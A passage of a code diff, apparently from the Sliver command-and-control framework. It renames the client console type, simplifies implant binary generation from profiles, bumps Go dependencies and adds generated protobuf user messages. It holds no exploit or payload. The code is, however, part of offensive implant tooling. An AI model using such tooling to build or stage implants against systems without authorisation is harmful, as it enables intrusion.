"github.com/bishopfox/sliver/protobuf/commonpb" ) -// GetSliverBinary - Get the binary of an implant based on it's profile. +// GetSliverBinary - Get the binary of an implant based on it's profile func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient) ([]byte, error) { var data []byte @@ -28,43 +28,14 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient ctrl <- true <-ctrl if err != nil { - return data, con.UnwrapServerErr(err) + con.PrintErrorf("Error generating implant\n") + return data, err } - - implantName := buildImplantName(profile.GetConfig().GetFileName()) - _, ok := builds.GetConfigs()[implantName] - if implantName == "" || !ok { - // no built implant found for profile, generate a new one - con.PrintInfof("No builds found for profile %s, generating a new one\n", profile.GetName()) - ctrl := make(chan bool) - con.SpinUntil("Compiling, please wait ...", ctrl) - - generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{ - Config: profile.Config, - }) - ctrl <- true - <-ctrl - if err != nil { - con.PrintErrorf("Error generating implant\n") - return data, con.UnwrapServerErr(err) - } - data = generated.GetFile().GetData() - profile.Config.FileName = generated.File.Name - _, err = con.Rpc.SaveImplantProfile(context.Background(), profile) - if err != nil { - con.PrintErrorf("Error updating implant profile\n") - return data, con.UnwrapServerErr(err) - } - } else { - // Found a build, reuse that one - con.PrintInfof("Sliver name for profile: %s\n", implantName) - regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{ - ImplantName: implantName, - }) - if err != nil { - return data, con.UnwrapServerErr(err) - } - data = regenerate.GetFile().GetData() + data = generated.GetFile().GetData() + _, err = con.Rpc.SaveImplantProfile(context.Background(), profile) + if err != nil { + con.PrintErrorf("Error updating implant profile\n") + return data, err } return data, err } @@ -185,11 +156,12 @@ func TrafficEncodersCompleter(con *console.SliverClient) carapace.Action { } // HTTPC2Completer - Completes the HTTP C2 PROFILES -func HTTPC2Completer(con *console.SliverConsoleClient) carapace.Action { - return carapace.ActionCallback(func(c carapace.Context) carapace.Action { +func HTTPC2Completer(con *console.SliverClient) carapace.Action { + return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { if msg, err := con.PreRunComplete(); err != nil { return msg } + grpcCtx, cancel := con.GrpcContext(nil) defer cancel() httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(grpcCtx, &commonpb.Empty{}) diff --git a/client/command/generate/implants-stage.go b/client/command/generate/implants-stage.go index d046563578..0541af5916 100644 --- a/client/command/generate/implants-stage.go +++ b/client/command/generate/implants-stage.go @@ -12,7 +12,7 @@ import ( ) // ImplantsStageCmd - Serve a previously generated build -func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("Unable to load implant builds '%s'\n", err) @@ -20,7 +20,7 @@ func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } options := []string{} - for name, _ := range builds.Configs { + for name := range builds.Configs { options = append(options, name) } diff --git a/client/command/generate/profiles-stage.go b/client/command/generate/profiles-stage.go index d06052beec..99d6ed8cbd 100644 --- a/client/command/generate/profiles-stage.go +++ b/client/command/generate/profiles-stage.go @@ -30,7 +30,7 @@ import ( ) // ProfilesStageCmd - Generate an encrypted/compressed implant binary based on a profile -func ProfilesStageCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ProfilesStageCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name, _ := cmd.Flags().GetString("name") profileName := args[0] aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key") diff --git a/client/command/help/long-help.go b/client/command/help/long-help.go index 5dae89f398..dc20997c3e 100644 --- a/client/command/help/long-help.go +++ b/client/command/help/long-help.go @@ -1254,7 +1254,7 @@ Sliver uses the same hash identifiers as Hashcat (use the #): % 10s - One hash per line. % 10s - A file containing lines of 'username:hash' pairs. % 10s - A CSV file containing 'username,hash' pairs (additional columns ignored). -`, creds.HashNewlineFormat, creds.UserColonHashNewlineFormat, creds.CSVFormat) +`, consts.HashNewlineFormat, consts.UserColonHashNewlineFormat, consts.CSVFormat) c2ProfilesHelp = `[[.Bold]]Command:[[.Normal]] c2profile [[.Bold]]About:[[.Normal]] Display details of HTTP C2 profiles loaded into Sliver. diff --git a/client/command/monitor/config.go b/client/command/monitor/config.go index 5dded70628..d11d2fc1f2 100644 --- a/client/command/monitor/config.go +++ b/client/command/monitor/config.go @@ -31,8 +31,7 @@ import ( "github.com/spf13/cobra" ) -func MonitorConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - +func MonitorConfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { resp, err := con.Rpc.MonitorListConfig(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("%s\n", err) @@ -41,8 +40,7 @@ func MonitorConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args PrintWTConfig(resp, con) } -func MonitorAddConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - +func MonitorAddConfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { apiKey, _ := cmd.Flags().GetString("apiKey") apiPassword, _ := cmd.Flags().GetString("apiPassword") apiType, _ := cmd.Flags().GetString("type") @@ -65,8 +63,7 @@ func MonitorAddConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a con.PrintInfof("Added monitoring configuration\n") } -func MonitorDelConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - +func MonitorDelConfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { resp, err := con.Rpc.MonitorListConfig(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("%s\n", err) @@ -88,7 +85,7 @@ func MonitorDelConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a } // PrintWTConfig - Print the current watchtower configuration -func PrintWTConfig(configs *clientpb.MonitoringProviders, con *console.SliverConsoleClient) { +func PrintWTConfig(configs *clientpb.MonitoringProviders, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) @@ -114,7 +111,6 @@ func PrintWTConfig(configs *clientpb.MonitoringProviders, con *console.SliverCon } func selectWatchtowerConfig(configs *clientpb.MonitoringProviders) (*clientpb.MonitoringProvider, error) { - var options []string for _, config := range configs.Providers { options = append(options, config.Type) diff --git a/client/console/implant.go b/client/console/implant.go index 17c55d4b22..b8a6c2059a 100644 --- a/client/console/implant.go +++ b/client/console/implant.go @@ -108,7 +108,7 @@ func (con *SliverClient) GetActiveSessionConfig() *clientpb.ImplantConfig { Priority: uint32(0), }) config := &clientpb.ImplantConfig{ - Name: session.GetName(), + ID: session.ID, GOOS: session.GetOS(), GOARCH: session.GetArch(), Debug: true, diff --git a/go.mod b/go.mod index 579d3c03d8..9da4828842 100644 --- a/go.mod +++ b/go.mod @@ -4,14 +4,7 @@ go 1.21.1 toolchain go1.21.4 -// A fork of the completion engine is currently used in order to consume the engine -// as a library. The fork is a very slightly patched mainline tree for that purpose, -// and is regularly maintained up-to-date with upstream. Should be removed long-term. -// -// To update or try to: -// - You must replace rsteube/carapace v0.43.0 with the version found in the main require. -// - You must replace v0.25.2... with "library", then go mod tidy && go mod vendor. -replace github.com/rsteube/carapace v0.43.0 => github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d +replace github.com/rsteube/carapace v0.45.0 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca require ( filippo.io/age v1.1.1 @@ -41,23 +34,24 @@ require ( github.com/miekg/dns v1.1.57 github.com/moloch--/asciicast v0.1.0 github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 - github.com/ncruces/go-sqlite3 v0.7.2 - github.com/reeflective/console v0.1.6 + github.com/ncruces/go-sqlite3 v0.8.4 + github.com/reeflective/console v0.1.11 github.com/reeflective/readline v1.0.11 - github.com/rsteube/carapace v0.36.3 + github.com/reeflective/team v0.1.1 + github.com/rsteube/carapace v0.45.0 github.com/sirupsen/logrus v1.9.3 github.com/spf13/cobra v1.8.0 github.com/spf13/pflag v1.0.5 github.com/stretchr/testify v1.8.4 - github.com/tetratelabs/wazero v1.3.1 + github.com/tetratelabs/wazero v1.4.0 github.com/things-go/go-socks5 v0.0.3 github.com/xlab/treeprint v1.2.0 github.com/yiya1989/sshkrb5 v0.0.1 - golang.org/x/crypto v0.15.0 - golang.org/x/exp v0.0.0-20230905200255-921286631fa9 - golang.org/x/net v0.17.0 - golang.org/x/sys v0.14.0 - golang.org/x/term v0.14.0 + golang.org/x/crypto v0.16.0 + golang.org/x/exp v0.0.0-20231127185646-65229373498e + golang.org/x/net v0.19.0 + golang.org/x/sys v0.15.0 + golang.org/x/term v0.15.0 golang.org/x/text v0.14.0 golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68 @@ -138,7 +132,6 @@ require ( github.com/josharian/intern v1.0.0 // indirect github.com/josharian/native v1.1.1-0.20230202152459-5c7d0dd6ab86 // indirect github.com/jsimonetti/rtnetlink v1.3.5 // indirect - github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a // indirect github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect github.com/mailru/easyjson v0.7.7 // indirect @@ -176,10 +169,10 @@ require ( github.com/x448/float16 v0.8.4 // indirect go4.org/mem v0.0.0-20220726221520-4f986261bf13 // indirect go4.org/netipx v0.0.0-20230824141953-6213f710f925 // indirect - golang.org/x/mod v0.13.0 // indirect - golang.org/x/sync v0.4.0 // indirect + golang.org/x/mod v0.14.0 // indirect + golang.org/x/sync v0.5.0 // indirect golang.org/x/time v0.3.0 // indirect - golang.org/x/tools v0.14.0 // indirect + golang.org/x/tools v0.16.0 // indirect golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect golang.zx2c4.com/wireguard/windows v0.5.3 // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect @@ -199,5 +192,6 @@ require ( modernc.org/opt v0.1.3 // indirect modernc.org/strutil v1.1.3 // indirect modernc.org/token v1.0.1 // indirect + mvdan.cc/sh/v3 v3.7.0 // indirect nhooyr.io/websocket v1.8.7 // indirect ) diff --git a/go.sum b/go.sum index 6ad18000f4..534a6044ee 100644 --- a/go.sum +++ b/go.sum @@ -351,12 +351,16 @@ github.com/pkg/sftp v1.13.6/go.mod h1:tz1ryNURKu77RL+GuCzmoJYxQczL3wLNNpPWagdg4Q github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e h1:51xcRlSMBU5rhM9KahnJGfEsBPVPz3182TgFRowA8yY= +github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e/go.mod h1:tcaRap0jS3eifrEEllL6ZMd9dg8IlDpi2S1oARrQ+NI= github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca h1:tD797h1qmNtS/2z6Y7EtIg7OXEDaoSuULsUoksEepmQ= github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc= -github.com/reeflective/console v0.1.6 h1:BhhvQU/m8QOpaIRzrXfwcbtkGQJX9jVR5qIqAy/Mcuw= -github.com/reeflective/console v0.1.6/go.mod h1:7owTBE9k2lg2QpVw7g4DrK1HxEgr/5DQCmA3O2Znoek= +github.com/reeflective/console v0.1.11 h1:T96PqsIqERNrbWbxVMafq2Wbsjr0v10vACPkRHFfMJg= +github.com/reeflective/console v0.1.11/go.mod h1:gR61i2OKUHn+dITXK1h9HIfef7Godz3xz8Z/ybnUIC0= github.com/reeflective/readline v1.0.11 h1:4+aiebj7a89hTRJOMM98H+md1Kxu+v1XkfdCs0n6odQ= github.com/reeflective/readline v1.0.11/go.mod h1:mcD0HxNVJVteVwDm9caXKg52nQACVyfh8EyuBmgVlzY= +github.com/reeflective/team v0.1.1 h1:6kWg+LwrYAV/QIjPfXZFp8wA9cEj4IUEE1L9BGOal0U= +github.com/reeflective/team v0.1.1/go.mod h1:vl9Qz2nXOy+iOHIQPm15Dno3NXn6LO8+7M3bKTaKIC8= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= @@ -451,11 +455,11 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/crypto v0.15.0 h1:frVn1TEaCEaZcn3Tmd7Y2b5KKPaZ+I32Q2OA3kYp5TA= -golang.org/x/crypto v0.15.0/go.mod h1:4ChreQoLWfG3xLDer1WdlH5NdlQ3+mwnQq1YTKY+72g= +golang.org/x/crypto v0.16.0 h1:mMMrFzRSCF0GvB7Ne27XVtVAaXLrPmgPC7/v0tkwHaY= +golang.org/x/crypto v0.16.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20230905200255-921286631fa9 h1:GoHiUyI/Tp2nVkLI2mCxVkOjsbSXD66ic0XW0js0R9g= -golang.org/x/exp v0.0.0-20230905200255-921286631fa9/go.mod h1:S2oDrQGGwySpoQPVqRShND87VCbxmc6bL1Yd2oYrm6k= +golang.org/x/exp v0.0.0-20231127185646-65229373498e h1:Gvh4YaCaXNs6dKTlfgismwWZKyjVZXwOPfIyUaqU3No= +golang.org/x/exp v0.0.0-20231127185646-65229373498e/go.mod h1:iRJReGqOEeBhDZGkGbynYwcHlctCvnjTYIamk7uXpHI= golang.org/x/exp/typeparams v0.0.0-20230905200255-921286631fa9 h1:j3D9DvWRpUfIyFfDPws7LoIZ2MAI1OJHdQXtTnYtN+k= golang.org/x/exp/typeparams v0.0.0-20230905200255-921286631fa9/go.mod h1:AbB0pIl9nAr9wVwH+Z2ZpaocVmF5I4GyWCDIsVjR0bk= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= @@ -465,8 +469,8 @@ golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHl golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= -golang.org/x/mod v0.13.0 h1:I/DsJXRlw/8l/0c24sM9yb0T4z9liZTduXvdAWYiysY= -golang.org/x/mod v0.13.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= +golang.org/x/mod v0.14.0 h1:dGoOF9QVLYng8IHTm7BAyWqCqSheQ5pYWGhzW00YJr0= +golang.org/x/mod v0.14.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -481,8 +485,8 @@ golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qx golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= -golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= +golang.org/x/net v0.19.0 h1:zTwKpTd2XuCqf8huc7Fo2iSy+4RHPd10s4KzeTnVr1c= +golang.org/x/net v0.19.0/go.mod h1:CfAk/cbD4CthTvqiEl8NpboMuiuOYsAr/7NOjZJtv1U= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.12.0 h1:smVPGxink+n1ZI5pkQa8y6fZT0RW0MgCO5bFpepy4B4= golang.org/x/oauth2 v0.12.0/go.mod h1:A74bZ3aGXgCY0qaIC9Ahg6Lglin4AMAco8cIv9baba4= @@ -493,8 +497,8 @@ golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.4.0 h1:zxkM55ReGkDlKSM+Fu41A+zmbZuaPVbGMzvvdUPznYQ= -golang.org/x/sync v0.4.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= +golang.org/x/sync v0.5.0 h1:60k92dhOjHxJkrqnwsfl8KuaHbn/5dl0lUPUklKo3qE= +golang.org/x/sync v0.5.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -531,12 +535,12 @@ golang.org/x/sys v0.0.0-20220817070843-5a390386f1f2/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.14.0 h1:Vz7Qs629MkJkGyHxUlRHizWJRG2j8fbQKjELVSNhy7Q= -golang.org/x/sys v0.14.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc= +golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/term v0.14.0 h1:LGK9IlZ8T9jvdy6cTdfKUCltatMFOehAQo9SRC46UQ8= -golang.org/x/term v0.14.0/go.mod h1:TySc+nGkYR6qt8km8wUhuFRTVSMIX3XPR58y2lC8vww= +golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4= +golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= @@ -558,8 +562,8 @@ golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtn golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= -golang.org/x/tools v0.14.0 h1:jvNa2pY0M4r62jkRQ6RwEZZyPcymeL9XZMLBbV7U2nc= -golang.org/x/tools v0.14.0/go.mod h1:uYBEerGOWcJyEORxN+Ek8+TT266gXkNlHdJBwexUsBg= +golang.org/x/tools v0.16.0 h1:GO788SKMRunPIBCXiQyo2AaexLstOrVhuAL5YwsckQM= +golang.org/x/tools v0.16.0/go.mod h1:kYVVN6I1mBNoB1OX+noeBjbRk4IUEPa7JJ+TJMEooJ0= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= @@ -668,6 +672,8 @@ modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg= modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= modernc.org/z v1.7.3 h1:zDJf6iHjrnB+WRD88stbXokugjyc0/pB91ri1gO6LZY= modernc.org/z v1.7.3/go.mod h1:Ipv4tsdxZRbQyLq9Q1M6gdbkxYzdlrciF2Hi/lS7nWE= +mvdan.cc/sh/v3 v3.7.0 h1:lSTjdP/1xsddtaKfGg7Myu7DnlHItd3/M2tomOcNNBg= +mvdan.cc/sh/v3 v3.7.0/go.mod h1:K2gwkaesF/D7av7Kxl0HbF5kGOd2ArupNTX3X44+8l8= nhooyr.io/websocket v1.8.7 h1:usjR2uOr/zjjkVMy0lW+PPohFok7PCow5sDjLgX4P4g= nhooyr.io/websocket v1.8.7/go.mod h1:B70DZP8IakI65RVQ51MsWP/8jndNma26DVA/nFSCgW0= software.sslmate.com/src/go-pkcs12 v0.2.1 h1:tbT1jjaeFOF230tzOIRJ6U5S1jNqpsSyNjzDd58H3J8= diff --git a/protobuf/clientpb/client.pb.go b/protobuf/clientpb/client.pb.go index ca3b91887c..d28b31564a 100644 --- a/protobuf/clientpb/client.pb.go +++ b/protobuf/clientpb/client.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.31.0 -// protoc v4.25.0 +// protoc-gen-go v1.31.0-devel +// protoc v3.15.8 // source: clientpb/client.proto package clientpb @@ -1164,7 +1164,125 @@ func (x *Version) GetArch() string { return "" } -// [ Client Logs ] ---------------------------------------- +type Users struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Users []*User `protobuf:"bytes,1,rep,name=Users,proto3" json:"Users,omitempty"` +} + +func (x *Users) Reset() { + *x = Users{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Users) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Users) ProtoMessage() {} + +func (x *Users) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[1] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Users.ProtoReflect.Descriptor instead. +func (*Users) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{1} +} + +func (x *Users) GetUsers() []*User { + if x != nil { + return x.Users + } + return nil +} + +type User struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"` + Online bool `protobuf:"varint,2,opt,name=Online,proto3" json:"Online,omitempty"` + LastSeen int64 `protobuf:"varint,3,opt,name=LastSeen,proto3" json:"LastSeen,omitempty"` + Clients int32 `protobuf:"varint,4,opt,name=Clients,proto3" json:"Clients,omitempty"` +} + +func (x *User) Reset() { + *x = User{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *User) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*User) ProtoMessage() {} + +func (x *User) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[2] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use User.ProtoReflect.Descriptor instead. +func (*User) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{2} +} + +func (x *User) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *User) GetOnline() bool { + if x != nil { + return x.Online + } + return false +} + +func (x *User) GetLastSeen() int64 { + if x != nil { + return x.LastSeen + } + return 0 +} + +func (x *User) GetClients() int32 { + if x != nil { + return x.Clients + } + return 0 +} + +// [ Client Logs ] ------------------------------------------ type ClientLogData struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1177,7 +1295,7 @@ type ClientLogData struct { func (x *ClientLogData) Reset() { *x = ClientLogData{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[1] + mi := &file_clientpb_client_proto_msgTypes[3] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1190,7 +1308,7 @@ func (x *ClientLogData) String() string { func (*ClientLogData) ProtoMessage() {} func (x *ClientLogData) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[1] + mi := &file_clientpb_client_proto_msgTypes[3] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1203,19 +1321,265 @@ func (x *ClientLogData) ProtoReflect() protoreflect.Message { // Deprecated: Use ClientLogData.ProtoReflect.Descriptor instead. func (*ClientLogData) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{1} + return 